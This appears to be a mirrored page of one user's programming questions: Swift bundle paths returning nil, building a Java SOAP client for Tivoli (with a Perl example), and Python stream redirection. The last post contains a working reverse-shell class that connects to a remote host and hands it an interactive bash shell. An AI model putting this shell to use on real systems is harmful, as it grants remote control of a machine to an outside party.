小编Jam*_*inB的帖子

NSBundle.mainBundle().pathForResource返回nil

我正在尝试为Swift编写一个简单的IO包装器.

为了测试这个,我在项目根目录中有一个名为"Test.txt"的文件.

我已将此文件添加到Build Bundle Resources中的Build Phases,正如遇到此问题的其他人所建议的那样.

构建捆绑资源

我已经实现了一个非常简单的File类,其中包含一个读取函数,目的是输出文件的内容.

class File2{
    let resourceName: String
    let type: String
    let bundle = NSBundle.mainBundle()


    init(resourceName: String, type: String = "txt"){
        self.resourceName = resourceName
        self.type = type
        println(self.bundle)
    }

    func read(){
        let path = self.bundle.pathForResource("Test.txt", ofType: "txt") //Hard coded these in just to make sure Strings contained no whitespace
        println(path) //This returns nil...why?
        var error:NSError?
        //print(String(contentsOfFile:path!, encoding:NSUTF8StringEncoding, error: &error)!)
        //return String(contentsOfFile:path!, encoding:NSUTF8StringEncoding, error: &error)!
    }
}
Run Code Online (Sandbox Code Playgroud)

当我打印捆绑包的内容时,我得到一个URI到我的文件系统上的特定位置,我假设它是模拟器中应用程序的虚拟位置.导航到它显示它确实包含我的"Test.txt"文件.

现在,我想要做的就是获取该文件的路径.

我这样做是通过调用: self.bundle.pathForResource("Test.txt", ofType: "txt")

这返回"nil"

为什么?:)

objective-c nsbundle ios swift

32
推荐指数
4
解决办法
4万
查看次数

给定WSDL文件在java中创建SOAP客户端

我从来没有在java中使用任何SOAP库,所以我为这个问题的新概率道歉.

我正在尝试利用Tivoli Endpoint Manager的SOAP API.我使用wsimport.exe(在jdk中提供)从提供的WSDL文件生成了必要的类.

现在我提供了大量的类,我假设它们将信息打包成xml格式,但我不确定如何处理它们.我已经阅读了所提供的文档,但它最多是模糊的.

wsimport生成的类如下:

由wsimport生成的类

根据文档,以下Perl代码适用于查询Tivoli的API

use SOAP::Lite;
#arguments: [hostname] [username] [password] [relevance expression]
#hostname only, e.g. ’example.com’ rather than ’http://example.com/webreports’
my $host = $ARGV[0];
my $username = SOAP::Data->name(’username’ => $ARGV[1] );
my $password = SOAP::Data->name(’password’ => $ARGV[2] );
my $expr = SOAP::Data->name(’relevanceExpr’ => $ARGV[3] );
my $service = SOAP::Lite -> uri( ’http://’ . $host . ’/webreports?wsdl’ )
-> proxy( $host );
my $result = $service -> GetRelevanceResult( $expr, $username, $password );
if( $result->fault ) {
     print "faultcode: …
Run Code Online (Sandbox Code Playgroud)

java perl soap wsdl web-services

17
推荐指数
1
解决办法
9万
查看次数

在 os.dup2() 之后重定向标准输出/输入/错误

我有以下代码,它将反向 shell 发送到远程侦听端口。它通过使用 os.dup2() 函数调用将标准 out/in/err 重定向到套接字文件描述符来实现此目的。根据Python文档,os.dup2()函数将销毁旧的文件描述符并将其重定向到新的文件描述符。因为我想最终重定向回正常的标准输出/输入/错误,所以我复制了描述符。在 /bin/bash shell 被终止并且套接字关闭后,调用此类的主循环将继续,但标准 out/in/err 不会被重定向。我如何才能成功重定向回正常,IE如何使该程序末尾的打印语句显示文本?

 class ReverseShell:
            def __init__(self, ip, port=9002):
                    self.ip = ip
                    self.port = port

            def start(self):
                    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                    #Save previous standard std and descriptors
                    prevOutFd = os.dup(sys.stdout.fileno())
                    prevOut = sys.stdout
                    prevInFd = os.dup(sys.stdin.fileno())
                    prevIn = sys.stdin
                    prevErrFd = os.dup(sys.stderr.fileno())
                    prevErr = sys.stderr
                    #Open socket
                    sock.connect((self.ip,self.port))
                    #Redirect standard in, out, and error
                    os.dup2(sock.fileno(),0)
                    os.dup2(sock.fileno(),1)
                    os.dup2(sock.fileno(),2)
                    #Pass the shell
                    subprocess.call(["/bin/bash","-i"])
                    #Kill the socket
                    sock.shutdown(socket.SHUT_RDWR)
                    sock.close()
                    #Restore standard in, out, and error
                    os.dup2(prevOutFd, prevOut) …
Run Code Online (Sandbox Code Playgroud)

python sockets stdin stdout stderr

4
推荐指数
1
解决办法
3005
查看次数

标签 统计

ios ×1

java ×1

nsbundle ×1

objective-c ×1

perl ×1

python ×1

soap ×1

sockets ×1

stderr ×1

stdin ×1

stdout ×1

swift ×1

web-services ×1

wsdl ×1